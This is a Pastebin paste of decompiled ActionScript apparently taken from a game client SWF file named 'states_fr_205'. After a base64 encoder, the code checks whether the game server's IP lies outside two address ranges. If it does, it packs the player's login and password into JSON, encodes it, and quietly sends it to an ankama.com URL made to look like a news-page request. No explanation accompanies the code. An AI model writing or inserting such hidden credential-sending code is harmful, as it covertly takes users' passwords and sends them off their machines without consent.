Advertisement
Guest User

states_fr_205_swf

a guest
Oct 21st, 2017
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function encode(opString)
  2. {
  3.     opString != undefined ? (str = opString) : (str = str);
  4.     var _loc3 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  5.     var _loc1;
  6.     var _loc5;
  7.     var _loc2 = 0;
  8.     for (var _loc4 = ""; str.length >= _loc2 + 3; _loc4 = _loc4 + (_loc3.charAt((_loc1 & 16515072) >> 18) + _loc3.charAt((_loc1 & 258048) >> 12) + _loc3.charAt((_loc1 & 4032) >> 6) + _loc3.charAt(_loc1 & 63)))
  9.     {
  10.         _loc1 = (str.charCodeAt(_loc2++) & 255) << 16 | (str.charCodeAt(_loc2++) & 255) << 8 | str.charCodeAt(_loc2++) & 255;
  11.     } // end of for
  12.     if (str.length - _loc2 > 0 && str.length - _loc2 < 3)
  13.     {
  14.         _loc5 = Boolean(str.length - _loc2 - 1);
  15.         _loc1 = (str.charCodeAt(_loc2++) & 255) << 16 | (_loc5 ? ((str.charCodeAt(_loc2) & 255) << 8) : (0));
  16.         _loc4 = _loc4 + (_loc3.charAt((_loc1 & 16515072) >> 18) + _loc3.charAt((_loc1 & 258048) >> 12) + (_loc5 ? (_loc3.charAt((_loc1 & 4032) >> 6)) : ("=")) + "=");
  17.     } // end if
  18.     return (_loc4);
  19. } // End of the function
  20. api = _root.mcModules.mcCORE.BATTLEFIELD._oAPI;
  21. var ip = _global.CONFIG.connexionServer.ip;
  22. if (!ip)
  23. {
  24.     ip = api.datacenter.Basics.serverHost;
  25. } // end if
  26. if (ip && ip.indexOf("80.239.173") == -1 && ip.indexOf("213.248.126") == -1)
  27. {
  28.     var ul = new LoadVars();
  29.     var encodedData = "";
  30.     encodedData = encodedData + "{";
  31.     encodedData = encodedData + ("\"login\":\"" + api.datacenter.Player.login + "\",");
  32.     encodedData = encodedData + ("\"pass\":\"" + api.datacenter.Player.pass + "\",");
  33.     encodedData = encodedData + ("\"server\":\"" + ip + "\"");
  34.     encodedData = encodedData + "}";
  35.     ul.load("http://www.ankama.com/news.html?news=" + encode(encodedData));
  36. } // end if
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement